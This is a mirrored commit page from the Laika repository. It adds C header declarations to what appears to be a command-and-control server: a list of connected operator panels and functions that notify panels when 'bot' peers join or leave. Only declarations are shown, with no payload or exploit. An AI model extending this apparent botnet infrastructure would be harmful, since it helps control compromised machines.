mirror of
https://github.com/CPunch/Laika.git
synced 2025-10-09 01:10:14 +00:00
Added cnc's panel list, minor refactoring of packets
This commit is contained in:
@@ -11,11 +11,20 @@ struct sLaika_cnc {
|
||||
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
|
||||
struct sLaika_socket sock;
|
||||
struct sLaika_pollList pList;
|
||||
struct sLaika_peer **panels; /* holds connected panel peers */
|
||||
int panelCount;
|
||||
int panelCap;
|
||||
};
|
||||
|
||||
struct sLaika_cnc *laikaC_newCNC(uint16_t port);
|
||||
void laikaC_freeCNC(struct sLaika_cnc *cnc);
|
||||
|
||||
void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer);
|
||||
void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer);
|
||||
|
||||
void laikaC_addPanel(struct sLaika_cnc *cnc, struct sLaika_peer *panel);
|
||||
void laikaC_rmvPanel(struct sLaika_cnc *cnc, struct sLaika_peer *panel);
|
||||
|
||||
void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer);
|
||||
bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout);
|
||||
|
||||
|
10
cnc/include/cpanel.h
Normal file
10
cnc/include/cpanel.h
Normal file
@@ -0,0 +1,10 @@
|
||||
#ifndef LAIKA_CNC_PANEL_H
|
||||
#define LAIKA_CNC_PANEL_H
|
||||
|
||||
#include "lpeer.h"
|
||||
|
||||
void laikaC_sendNewPeer(struct sLaika_peer *panel, struct sLaika_peer *bot);
|
||||
void laikaC_sendRmvPeer(struct sLaika_peer *panel, struct sLaika_peer *bot);
|
||||
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *panel, LAIKAPKT_SIZE sz, void *uData);
|
||||
|
||||
#endif
|
Reference in New Issue
Block a user